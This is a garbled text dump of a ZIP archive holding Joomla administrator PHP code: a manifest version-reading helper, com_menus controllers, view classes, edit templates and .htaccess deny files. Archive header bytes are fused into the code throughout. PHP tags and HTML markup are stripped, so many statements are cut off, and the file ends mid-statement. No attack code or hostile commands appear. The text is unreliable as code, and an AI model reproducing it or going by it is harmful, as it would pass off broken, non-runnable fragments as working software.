substr($extensionName,4); jimport('joomla.filesystem.file'); if(JFile::exists("$path/$xmlName")) { $filename = "$path/$xmlName"; } elseif(JFile::exists("$path/$extensionName.xml")) { $filename = "$path/$extensionName.xml"; } elseif(JFile::exists("$path/$altExtensionName.xml")) { $filename = "$path/$altExtensionName.xml"; } elseif(JFile::exists("$path/manifest.xml")) { $filename = "$path/manifest.xml"; } else { $filename = $this->searchForManifest($path); if($filename === false) $filename = null; } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ( ($xml->document->name() != 'install') && ($xml->document->name() != 'extension') ) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a module by reading its XML file * @param string $extensionName The name of the extension, e.g. mod_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getModuleData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $path = JPATH_SITE.'/modules/'.$extensionName; if(!JFolder::exists($path)) { $path = JPATH_ADMINISTRATOR.'/modules/'.$extensionName; } if(!JFolder::exists($path)) { // Joomla! 1.5 // 1. Check front-end $path = JPATH_ADMINISTRATOR.'/modules'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } // 2. Check front-end if(!JFile::exists($filename)) { $path = JPATH_SITE.'/modules'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } } } else { // Joomla! 1.6 $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a plugin by reading its XML file * @param string $extensionName The name of the plugin, e.g. plg_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getPluginData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $base = JPATH_PLUGINS; // Get a list of directories $stack = JFolder::folders($base,'.',true,true); foreach($stack as $path) { $filename = "$path/$xmlName"; if(JFile::exists($filename)) break; $filename = "$path/$extensionName.xml"; if(JFile::exists($filename)) break; $filename = "$path/$altExtensionName.xml"; if(JFile::exists($filename)) break; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a template by reading its XML file * @param string $extensionName The name of the template, e.g. tpl_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml or templateDetails.xml */ private function getTemplateData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); // First look for administrator templates $path = JPATH_THEMES.'/'.$altExtensionName; if(!JFolder::exists($path)) { // Then look for front-end templates $path = JPATH_SITE.'/templates/'.$altExtensionName; if(!JFolder::exists($path)) return array('version' => '', 'date' => ''); } $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/templateDetails.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * This method parses the manifest information of package, library and file * extensions. All of those extensions do not store their manifests in the * extension's directory, but in administrator/manifests. Kudos to @mbabker * for sharing this method! * * @param string $extensionName * @param string $xmlName * @return type */ private function getPackageData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $path = JPATH_ADMINISTRATOR.'/manifests/packages'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'extension') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Scans a directory for XML manifest files. The first XML file to be a * manifest wins. * * @var $path string The path to look into * * @return string|bool The full path to a manifest file or false if not found */ private function searchForManifest($path) { jimport('joomla.filesystem.folder'); $files = JFolder::files($path, '\.xml$', false, true); if(!empty($files)) foreach($files as $filename) { $xml = JFactory::getXMLParser('simple'); $result = $xml->loadFile($filename); if(!$result) continue; if(($xml->document->name() != 'install') && ($xml->document->name() != 'extension') && ($xml->document->name() != 'mosinstall')) continue; unset($xml); return $filename; } return false; } }PKs>\))com_virtuemart_allinone/classes/.htaccessnuW+A Order allow,deny Deny from all PKs>\3hhcom_menus/controller.phpnuW+AcheckEditId('com_menus.edit.menu', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_menus&view=menus', false)); return false; } elseif ($view == 'item' && $layout == 'edit' && !$this->checkEditId('com_menus.edit.item', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_menus&view=items', false)); return false; } parent::display(); return $this; } } PKs>\- "com_menus/views/item/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->modules = $this->get('Modules'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id')); $canDo = MenusHelper::getActions($this->state->get('filter.parent_id')); JToolBarHelper::title(JText::_($isNew ? 'COM_MENUS_VIEW_NEW_ITEM_TITLE' : 'COM_MENUS_VIEW_EDIT_ITEM_TITLE'), 'menu-add'); // If a new item, can save the item. Allow users with edit permissions to apply changes to prevent returning to grid. if ($isNew && $canDo->get('core.create')) { if ($canDo->get('core.edit')) { JToolBarHelper::apply('item.apply'); } JToolBarHelper::save('item.save'); } // If not checked out, can save the item. if (!$isNew && !$checkedOut && $canDo->get('core.edit')) { JToolBarHelper::apply('item.apply'); JToolBarHelper::save('item.save'); } // If the user can create new items, allow them to see Save & New if ($canDo->get('core.create')) { JToolBarHelper::save2new('item.save2new'); } // If an existing item, can save to a copy only if we have create rights. if (!$isNew && $canDo->get('core.create')) { JToolBarHelper::save2copy('item.save2copy'); } if ($isNew) { JToolBarHelper::cancel('item.cancel'); } else { JToolBarHelper::cancel('item.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); // Get the help information for the menu item. $lang = JFactory::getLanguage(); $help = $this->get('Help'); if ($lang->hasKey($help->url)) { $debug = $lang->setDebug(false); $url = JText::_($help->url); $lang->setDebug($debug); } else { $url = $help->url; } JToolBarHelper::help($help->key, $help->local, $url); } } PKs>\dk;"com_menus/views/item/tmpl/edit.phpnuW+A
      • form->getLabel('type'); ?> form->getInput('type'); ?>
      • form->getLabel('title'); ?> form->getInput('title'); ?>
      • item->type =='url'): ?> form->setFieldAttribute('link', 'readonly', 'false');?>
      • form->getLabel('link'); ?> form->getInput('link'); ?>
      • item->type == 'alias'): ?>
      • form->getLabel('aliastip'); ?>
      • item->type !='url'): ?>
      • form->getLabel('alias'); ?> form->getInput('alias'); ?>
      • form->getLabel('note'); ?> form->getInput('note'); ?>
      • item->type !=='url'): ?>
      • form->getLabel('link'); ?> form->getInput('link'); ?>
      • form->getLabel('published'); ?> form->getInput('published'); ?>
      • form->getLabel('access'); ?> form->getInput('access'); ?>
      • form->getLabel('menutype'); ?> form->getInput('menutype'); ?>
      • form->getLabel('parent_id'); ?> form->getInput('parent_id'); ?>
      • form->getLabel('menuordering'); ?> form->getInput('menuordering'); ?>
      • form->getLabel('browserNav'); ?> form->getInput('browserNav'); ?>
      • item->type == 'component') : ?>
      • form->getLabel('home'); ?> form->getInput('home'); ?>
      • form->getLabel('language'); ?> form->getInput('language'); ?>
      • form->getLabel('template_style_id'); ?> form->getInput('template_style_id'); ?>
      • form->getLabel('id'); ?> form->getInput('id'); ?>
      item->id); ?> loadTemplate('options'); ?>
      modules)) : ?>
      loadTemplate('modules'); ?>
      form->getInput('component_id'); ?>
      PKs>\ Yt *com_menus/views/item/tmpl/edit_modules.phpnuW+A modules as $i => &$module) : ?> menuid)) : ?> except || $module->menuid < 0) : ?>
      id.'&tmpl=component&view=module&layout=modal' ; ?> escape($module->title), $this->escape($module->access_title), $this->escape($module->position)); ?> menuid)) : ?> except):?> menuid > 0) : ?> menuid < 0) : ?>
      PKs>\)#com_menus/views/item/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V$com_menus/views/item/tmpl/index.htmlnuW+A PKs>\ /g g *com_menus/views/item/tmpl/edit_options.phpnuW+A form->getFieldsets('request'); if (!empty($fieldSets)) { $fieldSet = array_shift($fieldSets); $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MENUS_'.$fieldSet->name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), 'request-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
        form->getFieldset('request') as $field) : ?> hidden) : ?>
      • label; ?> input; ?>
      • input; ?>
      form->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MENUS_'.$name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
        form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      form->getFieldsets('associations'); foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MENUS_'.$name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
        form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      PKs>\Vcom_menus/views/item/index.htmlnuW+A PKs>\)com_menus/views/item/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_menus/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\V%com_menus/views/menus/tmpl/index.htmlnuW+A PKs>\&com_menus/views/menus/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $modMenuId = (int) $this->get('ModMenuId'); ?>
      items as $i => $item) : $canCreate = $user->authorise('core.create', 'com_menus'); $canEdit = $user->authorise('core.edit', 'com_menus'); $canChange = $user->authorise('core.edit.state', 'com_menus'); ?>
      pagination->getListFooter(); ?>
      id); ?> escape($item->title); ?>

      ( id).' title='.$this->escape($item->description).'">'. $this->escape($item->menutype).''; ?>) escape($item->menutype)?>)

      count_published; ?> count_unpublished; ?> count_trashed; ?> modules[$item->menutype])) : ?> id; ?>
      PKs>\)$com_menus/views/menus/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V com_menus/views/menus/index.htmlnuW+A PKs>\)com_menus/views/menus/.htaccessnuW+A Order allow,deny Deny from all PKs>\20#com_menus/views/menus/view.html.phpnuW+Aitems = $this->get('Items'); $this->modules = $this->get('Modules'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/menus.php'; $canDo = MenusHelper::getActions($this->state->get('filter.parent_id')); JToolBarHelper::title(JText::_('COM_MENUS_VIEW_MENUS_TITLE'), 'menumgr.png'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('menu.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('menu.edit'); } if ($canDo->get('core.delete')) { JToolBarHelper::divider(); JToolBarHelper::deleteList('', 'menus.delete'); } JToolBarHelper::custom('menus.rebuild', 'refresh.png', 'refresh_f2.png', 'JTOOLBAR_REBUILD', false); if ($canDo->get('core.admin')) { JToolBarHelper::divider(); JToolBarHelper::preferences('com_menus'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_MENUS_MENU_MANAGER'); } } PKs>\V com_menus/views/items/index.htmlnuW+A PKs>\,com_menus/views/items/tmpl/default_batch.phpnuW+Astate->get('filter.published'); ?>

      = 0) : ?>
      PKs>\V%com_menus/views/items/tmpl/index.htmlnuW+A PKs>\i;))&com_menus/views/items/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $ordering = ($listOrder == 'a.lft'); $canOrder = $user->authorise('core.edit.state', 'com_menus'); $saveOrder = ($listOrder == 'a.lft' && $listDirn == 'asc'); ?>
      menu_associations) ? $app->menu_associations : 0; if ($assoc): ?> items as $i => $item) : $orderkey = array_search($item->id, $this->ordering[$item->parent_id]); $canCreate = $user->authorise('core.create', 'com_menus'); $canEdit = $user->authorise('core.edit', 'com_menus'); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id')|| $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_menus') && $canCheckin; ?> menu_associations) ? $app->menu_associations : 0; if ($assoc): ?>
      items, 'filesave.png', 'items.saveorder'); ?>
      pagination->getListFooter(); ?>
      id); ?> |—', $item->level-1) ?> checked_out) : ?> editor, $item->checked_out_time, 'items.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?>

      |—', $item->level-1) ?> type !='url') : ?> note)) : ?> escape($item->alias));?> escape($item->alias), $this->escape($item->note));?> type =='url' && $item->note) : ?> escape($item->note));?>

      published, $i, $canChange, 'cb'); ?> pagination->orderUpIcon($i, isset($this->ordering[$item->parent_id][$orderkey - 1]), 'items.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, isset($this->ordering[$item->parent_id][$orderkey + 1]), 'items.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> escape($item->access_level); ?> escape($item->item_type); ?> type == 'component') : ?> language=='*' || $item->home=='0'):?> home, $i, 'items.', ($item->language != '*' || !$item->home) && $canChange);?> image.'.gif', $item->language_title, array('title'=>JText::sprintf('COM_MENUS_GRID_UNSET_LANGUAGE', $item->language_title)), true);?> image.'.gif', $item->language_title, array('title'=>$item->language_title), true);?> association):?> id);?> language==''):?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
      authorize('core.create', 'com_menus') && $user->authorize('core.edit', 'com_menus') && $user->authorize('core.edit.state', 'com_menus')) : ?> loadTemplate('batch'); ?>
      PKs>\)$com_menus/views/items/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_menus/views/items/.htaccessnuW+A Order allow,deny Deny from all PKs>\ҴǦ#com_menus/views/items/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->ordering = array(); // Preprocess the list of items to find ordering divisions. foreach ($this->items as $item) { $this->ordering[$item->parent_id][] = $item->id; // item type text switch ($item->type) { case 'url': $value = JText::_('COM_MENUS_TYPE_EXTERNAL_URL'); break; case 'alias': $value = JText::_('COM_MENUS_TYPE_ALIAS'); break; case 'separator': $value = JText::_('COM_MENUS_TYPE_SEPARATOR'); break; case 'component': default: // load language $lang->load($item->componentname . '.sys', JPATH_ADMINISTRATOR, null, false, true) || $lang->load($item->componentname . '.sys', JPATH_ADMINISTRATOR . '/components/' . $item->componentname, null, false, true); if (!empty($item->componentname)) { $value = JText::_($item->componentname); $vars = null; parse_str($item->link, $vars); if (isset($vars['view'])) { // Attempt to load the view xml file. $file = JPATH_SITE.'/components/'.$item->componentname.'/views/'.$vars['view'].'/metadata.xml'; if (JFile::exists($file) && $xml = simplexml_load_file($file)) { // Look for the first view node off of the root node. if ($view = $xml->xpath('view[1]')) { if (!empty($view[0]['title'])) { $vars['layout'] = isset($vars['layout']) ? $vars['layout'] : 'default'; // Attempt to load the layout xml file. // If Alternative Menu Item, get template folder for layout file if (strpos($vars['layout'], ':') > 0) { // Use template folder for layout file $temp = explode(':', $vars['layout']); $file = JPATH_SITE.'/templates/'.$temp[0].'/html/'.$item->componentname.'/'.$vars['view'].'/'.$temp[1].'.xml'; // Load template language file $lang->load('tpl_' . $temp[0] . '.sys', JPATH_SITE, null, false, true) || $lang->load('tpl_' . $temp[0] . '.sys', JPATH_SITE . '/templates/' . $temp[0], null, false, true); } else { // Get XML file from component folder for standard layouts $file = JPATH_SITE.'/components/'.$item->componentname.'/views/'.$vars['view'].'/tmpl/'.$vars['layout'].'.xml'; } if (JFile::exists($file) && $xml = simplexml_load_file($file)) { // Look for the first view node off of the root node. if ($layout = $xml->xpath('layout[1]')) { if (!empty($layout[0]['title'])) { $value .= ' » ' . JText::_(trim((string) $layout[0]['title'])); } } if (!empty($layout[0]->message[0])) { $item->item_type_desc = JText::_(trim((string) $layout[0]->message[0])); } } } } unset($xml); } else { // Special case for absent views $value .= ' » ' . JText::_($item->componentname.'_'.$vars['view'].'_VIEW_DEFAULT_TITLE'); } } } else { if (preg_match("/^index.php\?option=([a-zA-Z\-0-9_]*)/", $item->link, $result)) { $value = JText::sprintf('COM_MENUS_TYPE_UNEXISTING', $result[1]); } else { $value = JText::_('COM_MENUS_TYPE_UNKNOWN'); } } break; } $item->item_type = $value; } // Levels filter. $options = array(); $options[] = JHtml::_('select.option', '1', JText::_('J1')); $options[] = JHtml::_('select.option', '2', JText::_('J2')); $options[] = JHtml::_('select.option', '3', JText::_('J3')); $options[] = JHtml::_('select.option', '4', JText::_('J4')); $options[] = JHtml::_('select.option', '5', JText::_('J5')); $options[] = JHtml::_('select.option', '6', JText::_('J6')); $options[] = JHtml::_('select.option', '7', JText::_('J7')); $options[] = JHtml::_('select.option', '8', JText::_('J8')); $options[] = JHtml::_('select.option', '9', JText::_('J9')); $options[] = JHtml::_('select.option', '10', JText::_('J10')); $this->f_levels = $options; parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/menus.php'; $canDo = MenusHelper::getActions($this->state->get('filter.parent_id')); JToolBarHelper::title(JText::_('COM_MENUS_VIEW_ITEMS_TITLE'), 'menumgr.png'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('item.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('item.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('items.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('items.unpublish', 'JTOOLBAR_UNPUBLISH', true); } if (JFactory::getUser()->authorise('core.admin')) { JToolBarHelper::divider(); JToolBarHelper::checkin('items.checkin', 'JTOOLBAR_CHECKIN', true); } if ($this->state->get('filter.published') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'items.delete', 'JTOOLBAR_EMPTY_TRASH'); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('items.trash'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::makeDefault('items.setDefault', 'COM_MENUS_TOOLBAR_SET_HOME'); JToolBarHelper::divider(); } if (JFactory::getUser()->authorise('core.admin')) { JToolBarHelper::custom('items.rebuild', 'refresh.png', 'refresh_f2.png', 'JToolbar_Rebuild', false); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_MENUS_MENU_ITEM_MANAGER'); } } PKs>\wtW$com_menus/views/menutypes/index.htmlnuW+APKs>\)#com_menus/views/menutypes/.htaccessnuW+A Order allow,deny Deny from all PKs>\#H*com_menus/views/menutypes/tmpl/default.phpnuW+A PKs>\)(com_menus/views/menutypes/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\wtW)com_menus/views/menutypes/tmpl/index.htmlnuW+APKs>\m??'com_menus/views/menutypes/view.html.phpnuW+ArecordId = JRequest::getInt('recordId'); $this->types = $this->get('TypeOptions'); parent::display($tpl); } } PKs>\Vcom_menus/views/index.htmlnuW+A PKs>\)com_menus/views/menu/.htaccessnuW+A Order allow,deny Deny from all PKs>\)#com_menus/views/menu/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\nA"com_menus/views/menu/tmpl/edit.phpnuW+A
      • form->getLabel('title'); ?> form->getInput('title'); ?>
      • form->getLabel('menutype'); ?> form->getInput('menutype'); ?>
      • form->getLabel('description'); ?> form->getInput('description'); ?>
      PKs>\V$com_menus/views/menu/tmpl/index.htmlnuW+A PKs>\Vcom_menus/views/menu/index.htmlnuW+A PKs>\"com_menus/views/menu/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $canDo = MenusHelper::getActions($this->state->get('filter.parent_id')); JToolBarHelper::title(JText::_($isNew ? 'COM_MENUS_VIEW_NEW_MENU_TITLE' : 'COM_MENUS_VIEW_EDIT_MENU_TITLE'), 'menu.png'); // If a new item, can save the item. Allow users with edit permissions to apply changes to prevent returning to grid. if ($isNew && $canDo->get('core.create')) { if ($canDo->get('core.edit')) { JToolBarHelper::apply('menu.apply'); } JToolBarHelper::save('menu.save'); } // If user can edit, can save the item. if (!$isNew && $canDo->get('core.edit')) { JToolBarHelper::apply('menu.apply'); JToolBarHelper::save('menu.save'); } // If the user can create new items, allow them to see Save & New if ($canDo->get('core.create')) { JToolBarHelper::save2new('menu.save2new'); } if ($isNew) { JToolBarHelper::cancel('menu.cancel'); } else { JToolBarHelper::cancel('menu.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_MENUS_MENU_MANAGER_EDIT'); } } PKs>\)com_menus/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\V com_menus/controllers/index.htmlnuW+A PKs>\com_menus/controllers/menu.phpnuW+AsetRedirect(JRoute::_('index.php?option=com_menus&view=menus', false)); } /** * Method to save a menu item. * * @return void */ public function save($key = null, $urlVar = null) { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $app = JFactory::getApplication(); $data = JRequest::getVar('jform', array(), 'post', 'array'); $context = 'com_menus.edit.menu'; $task = $this->getTask(); $recordId = JRequest::getInt('id'); if (!$this->checkEditId($context, $recordId)) { // Somehow the person just went to the form and saved it - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $recordId)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list.$this->getRedirectToListAppend(), false)); return false; } // Make sure we are not trying to modify an administrator menu. if ((isset($data['client_id']) && $data['client_id'] == 1) || strtolower($data['menutype']) == 'menu' || strtolower($data['menutype']) == 'main') { JError::raiseNotice(0, JText::_('COM_MENUS_MENU_TYPE_NOT_ALLOWED')); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=com_menus&view=menu&layout=edit', false)); return false; } // Populate the row id from the session. $data['id'] = $recordId; // Get the model and attempt to validate the posted data. $model = $this->getModel('Menu'); $form = $model->getForm(); if (!$form) { JError::raiseError(500, $model->getError()); return false; } $data = $model->validate($form, $data); // Check for validation errors. if ($data === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Save the data in the session. $app->setUserState('com_menus.edit.menu.data', $data); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=com_menus&view=menu&layout=edit', false)); return false; } // Attempt to save the data. if (!$model->save($data)) { // Save the data in the session. $app->setUserState('com_menus.edit.menu.data', $data); // Redirect back to the edit screen. $this->setMessage(JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError()), 'warning'); $this->setRedirect(JRoute::_('index.php?option=com_menus&view=menu&layout=edit', false)); return false; } $this->setMessage(JText::_('COM_MENUS_MENU_SAVE_SUCCESS')); // Redirect the user and adjust session state based on the chosen task. switch ($task) { case 'apply': // Set the record data in the session. $recordId = $model->getState($this->context.'.id'); $this->holdEditId($context, $recordId); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=com_menus&view=menu&layout=edit'.$this->getRedirectToItemAppend($recordId), false)); break; case 'save2new': // Clear the record id and data from the session. $this->releaseEditId($context, $recordId); $app->setUserState($context.'.data', null); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=com_menus&view=menu&layout=edit', false)); break; default: // Clear the record id and data from the session. $this->releaseEditId($context, $recordId); $app->setUserState($context.'.data', null); // Redirect to the list screen. $this->setRedirect(JRoute::_('index.php?option=com_menus&view=menus', false)); break; } } } PKs>\: com_menus/controllers/items.phpnuW+AregisterTask('unsetDefault', 'setDefault'); } /** * Proxy for getModel * @since 1.6 */ function getModel($name = 'Item', $prefix = 'MenusModel', $config = array()) { return parent::getModel($name, $prefix, array('ignore_request' => true)); } /** * Rebuild the nested set tree. * * @return bool False on failure or error, true on success. * @since 1.6 */ public function rebuild() { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); $this->setRedirect('index.php?option=com_menus&view=items'); // Initialise variables. $model = $this->getModel(); if ($model->rebuild()) { // Reorder succeeded. $this->setMessage(JText::_('COM_MENUS_ITEMS_REBUILD_SUCCESS')); return true; } else { // Rebuild failed. $this->setMessage(JText::sprintf('COM_MENUS_ITEMS_REBUILD_FAILED')); return false; } } public function saveorder() { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Get the arrays from the Request $order = JRequest::getVar('order', null, 'post', 'array'); $originalOrder = explode(',', JRequest::getString('original_order_values')); // Make sure something has changed if (!($order === $originalOrder)) { parent::saveorder(); } else { // Nothing to reorder $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list, false)); return true; } } /** * Method to set the home property for a list of items * * @since 1.6 */ function setDefault() { // Check for request forgeries JSession::checkToken('request') or die(JText::_('JINVALID_TOKEN')); // Get items to publish from the request. $cid = JRequest::getVar('cid', array(), '', 'array'); $data = array('setDefault' => 1, 'unsetDefault' => 0); $task = 